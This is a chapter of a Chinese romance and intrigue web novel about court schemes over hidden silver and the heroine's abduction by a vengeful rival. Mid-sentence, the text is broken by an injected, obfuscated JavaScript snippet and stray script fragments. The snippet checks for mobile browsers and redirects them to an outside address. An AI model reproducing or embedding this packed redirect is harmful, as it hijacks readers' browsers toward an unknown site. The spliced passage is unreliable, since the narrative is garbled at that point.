38. 好觉
作品:《娇花解语》 宁渊把薄被拉到云语容的腋下,盯着她看了半晌,道:“不是要休息吗?为何睁着眼?”
云语容拉住他的衣袖,“我怕一闭上眼,你就走了。”
宁渊嘴角弯了弯,不置可否。
云语容闭上眼,朝里翻了个身,道:“我不该拉着你足不出户,耽误你查案子了。你别管我了。”
她说的是真心话,无论是调查脏银的下落,还是应付这突如其来的四皇子,都不是件轻松差事,她不该占用他太多时间。
宁渊在床边几凳上坐了下来,把云语容侧躺的身子掰回来,道:“我哪儿也不去,就在这里陪你。”
近日送来的公文十之七八都是令人烦心的事,不管她需要他陪是真是假,他在她身旁才会暂时松一口气,感觉舒服一些。
暴雨后泥土松润,庭院中的草木更加葱郁,蝉鸣声渐渐变得清亮,温暖的夏风带着夜兰香的熏香,徐徐吹拂,让他逐渐放松,感到疲倦涌了上来,不禁打了个哈欠。
宁渊眼皮越来越重,一只手撑着床,抵着额头睡着了。
云语容确定他已经熟睡,坐了起来,扶着他的脑袋,让他靠在柔软的被褥上。
房内再无半点声音,雪素不放心进来看过一次,见两人都睡着,悄悄掩门出去,到了午膳时间,也不敢打扰。
匆匆间到了未时三刻。
“吱呀”一声门响,雪素推开门往里张望,见宁渊和云语容仍未醒,脚步轻盈的退到屋外,尽量不发出声音。
宁渊慢慢睁开眼,低声问:“何事?”
雪素小声道:“赈灾使方大人求见郡主。”
宁渊不耐的冲她挥挥手,雪素立马识趣,退至屋外。
宁渊重新看向床榻,云语容握着他的右手,拇指保持着按揉神门穴的动作,心里淌过一股暖流。亏得她有心,知道按揉这穴位能催人睡眠,梦里仍按着这处。
云语容瓮声瓮气的喊了声哥哥,睁开迷蒙双眼,欠身道:“释问来了吗?他找我一定有事。”掀开被子要起来。
“他已经走了。”宁渊把她按回枕上,一双眼恨不能把她盯出个洞来,“他有什么好,值得你这么殷勤。”
云语容伸了个懒腰,抱住宁渊的胳膊,脸蹭着他,“哥哥最好,对我最好。”
宁渊知道她惯会哄人,不仅对他,就是对着云安也常用这招,压了压嘴角的弧度,道,“人已经走了,看看找你什么事。”唤雪素进来问话。
原来前几日方释问收到了王府送来的千两黄金,特意登门感谢。
云语容秀眉蹙起,半晌说不出话,许久之后,转向宁渊,道:“这可真是怪了,前阵子我在床底发现了几箱黄金,准备送给方释问赈灾之用,后来掉进密道中,被哥哥救出了瑶仙楼,再度返回王府时,这几箱金子不翼而飞,我只道是被萧兰曦藏起来了,如何到了释问的手中?”
宁渊道:“许是萧兰曦送给了他。”
云语容想了想,说:“我想也是,不过她不会这么好心,这些黄金必有古怪。”越想越不对,恨不得立刻去找方释问问个明白。
宁渊按住她肩膀,挨着坐下,静了片刻,道:“先不要想这个,我有桩事同你说,你须仔细听着,记在心里。”
云语容见他脸色凝重,立刻不乱动了,乖乖的望着他。
宁渊道:“陛下立储多年,却并不全然信任太子,放任四皇子坐大牵制东宫势力,四皇子野心勃勃,意图平复宸王谋反,凭此立下功勋,壮大声势,和太子一较高下。昨日和沈东璋叙谈后,四皇子的人就按捺不住找上门来,实际是让我主动将脏银转交四皇子,充作他所率领平叛军的军饷。”
宁渊拂去她额头的发丝,“语容,我们很快就要离开周王府了,所以,你要快些好起来。此事一完结,你就回东南,未来几年太子和四皇子相斗,京城局势难安,你好生的待在东南,不要来京师。”
宁玄曾为太子老师,从一开始就立志辅佐太子成为一代明君,宁渊承继父志,绝无投靠四皇子的可能,更何况四皇子还是个为达目的不择手段的狠辣之人,他一向耻与为伍。
如今四皇子为霸占脏银,咄咄相逼,不知暗地里还会使出什么伎俩,他必须把情况告诉云语容,以免她毫无防备。
“脏银已经找到了,对吗?”云语容问。
宁渊道:“沈家商号遍布禹州,沈通海假意为宸王运银,暗中查清了赃款的藏匿之地。沈东璋将一切都告诉我了,脏银已是我的囊中之物。”
宁渊看向云语容,凛冽的目光转为柔和,“四皇子觊觎脏银,你和我在一起很危险,这段时日切勿离开王府,也不要再管宸王和萧兰曦的事了。据我观察,萧兰曦不会舍得害死王爷和王妃的。”
宁渊走到书案边,从一堆书信中取出了一张纸,拿给云语容,“这是我给萧兰曦写的休书,你寻个时机交给王爷和王妃,阐明实情,离开王府。”
云语容怔了怔,口中滑出一字,“好。”
————
那晚在枫泊坞寻到帝休后,唐月度向村民证明了王丽芝死于中毒,派人把沈清溪从牢中放了出来。
帝休之毒难解,王丽芝之子最终毒发身亡,死于第三天夜里。
唐月度在枫泊坞中查了一圈,证明本地的老人从未见过帝休,这毒草并非本地自然生长,而是有人秘密种植。唐月度当即将毒草全部连根拔起,又封了洞口,免得再有人失足掉落。
云语容想到种植帝休的人极有可能就是陆兰曦。自从那日放走陆兰曦后,她似乎并没有立刻回凉国,而是转头给方释问送去了黄金。
陆兰曦还在莲城。
这女人她究竟还想做些什么?
云语容最近多了许多无聊的时间用来琢磨陆兰曦和陆斯臣,只因为宁渊不在,她不用拆信封信了。
四皇子的人来闹过一次后,宁渊就不再整日待在王府,每日一早就去府衙,听说是在训练那批在无欢城收服的流民。
宁渊奏请皇帝的提案得到了批准,主动归顺的流民全部收编入伍,取名为义行军。
前几日下了一场暴雨,浇灌了附近几百里的旱土,让人们开始期待旱情结束的曙光。
于兵部而言,一场严峻的考验就在眼前。
灾情深重时,百姓不堪重负,朝廷缺粮少人,无力镇压,恰好是宸王发动谋反的最佳时机,一旦旱灾缓解,百姓恢复生息,朝廷喘上一口气,他便会失去胜算。
那场大雨降下来后,知情之人都不约而同的预感到宸王谋反迫在眼睫,将关注的目光投在禹州。
只因禹州和庆州相邻,最适宜调兵围剿叛军,将燎原之火扑灭于萌芽之时。皇帝批准了流民入伍的建议,而且命宁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14888501|157539||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
渊停止休假,以兵部左侍郎的身份积极招募军队。
连年灾情,百姓流离失所者何止百万,招募兵卒的榜单贴出去短短几日,应召入伍的流民就多达数万,还有继续壮大的趋势。
宁渊忙碌到深夜才回,云语容早上一睁开眼,他人已经不见。
云语容百无聊赖,一日晌午饭后小憩,睡得格外酣沉,待她睁开眼时,眼前却不是寝殿,而是黑黢黢的暗室。
她动了动手,发现手脚都被绑住,嗅到熟悉的潮湿气味,认得这就是床底下的那条暗道。
黑暗中传来女子的对话声,那女子所说的正是凉国话,云语容不疑有他,明白自己定是被陆兰曦绑了。正想着,几个黑衣劲装的女子擎着火把,拥着陆兰曦来到她面前。
陆兰曦笑容张扬,俯身凑近端详云语容的脸,“姐姐,你说我此刻在想什么?”
云语容心知落入陆兰曦手里没好果子吃,见她满脸阴险的笑,定是在盘算着怎么弄死自己比较痛快,这女子极难对付,但她又怎能坐以待毙,任自己死在这暗无天日的暗室,想了想,说:“无非是想怎么杀我罢了?”
陆兰曦哈哈大笑,“你猜的没错,我一时还想不出来。姐姐聪明,不如你帮我想一想?”
云语容道:“你想杀我,冲着我来就是了,为何要害方释问?那些黄金是你故意送给他的,对吗?”
前些日子宁渊寸步不离的护着云语容,陆兰曦还以为再也拿她没办法了,今天终于逮到机会抓住云语容,陆兰曦兴奋得不得了,早就把什么方释问圆释问的抛到九霄云外,这会儿被云语容提起,她才反应过来,得意的笑了笑,“捎带手跟那秃驴开开玩笑罢了,赈灾使接受宸王黄金贿赂这事传开,我看他还怎么当官。”
云语容想起曾见过的黄金样式,陆兰曦话中意思正中猜想,这些黄金果然都是宸王送给她的,她转手给了方释问,可谓是祸水东引,怒道:“方释问与你无冤无仇,你偏要将世间的好人都毁掉吗?”
陆兰曦原地暴走,忽然举起左手送到云语容面前,眼里似喷出火来,“既然我做不成好人,这世上便不需要什么好人,大家一起腐烂发臭,谁也别假清高!特别是你,云语容,很快你就会变得跟我一样。到时候你就会像条狗趴在我脚边摇尾乞怜,而不是在这里说教。”
光线朦胧,照得不甚分明,云语容看着她的左手,从袖中伸出来的并非假肢,而是一只真人的手掌,忽然意识到什么,头皮发麻,“陆兰曦,你不会砍了哪个女子的手,装在了自己身上吧?你真是丧心病狂!”
陆兰曦立刻把左手横在胸前,用右手爱惜的抚摸,嘴角扭曲的往上翘了翘,“不可以吗?天底下年轻女子那么多,漂亮的左手那么多,偏偏我没有,真是太不公平。不过我最喜欢的还是姐姐你的手,跟我那么像,等我把它砍下来,一定会好好赏玩,等我玩腻了,再丢给十条野狗,让它们争抢分食。”
云语容见她这副疯魔的样子,深觉无力,叹了口气,“我让你回凉国,你为什么不回?是陆斯臣不让你回吗?也是,他如果喜欢你,你又怎么会处处想把我比下去?看来,你是被他赶出来的。”
陆兰曦鼓鼓囊囊的喜悦似被一根针戳破,脸色一变,狠狠掐住云语容的脖子,“你再多说一句,我就改朝这里下刀了。”
云语容闭上了嘴,也闭上了眼。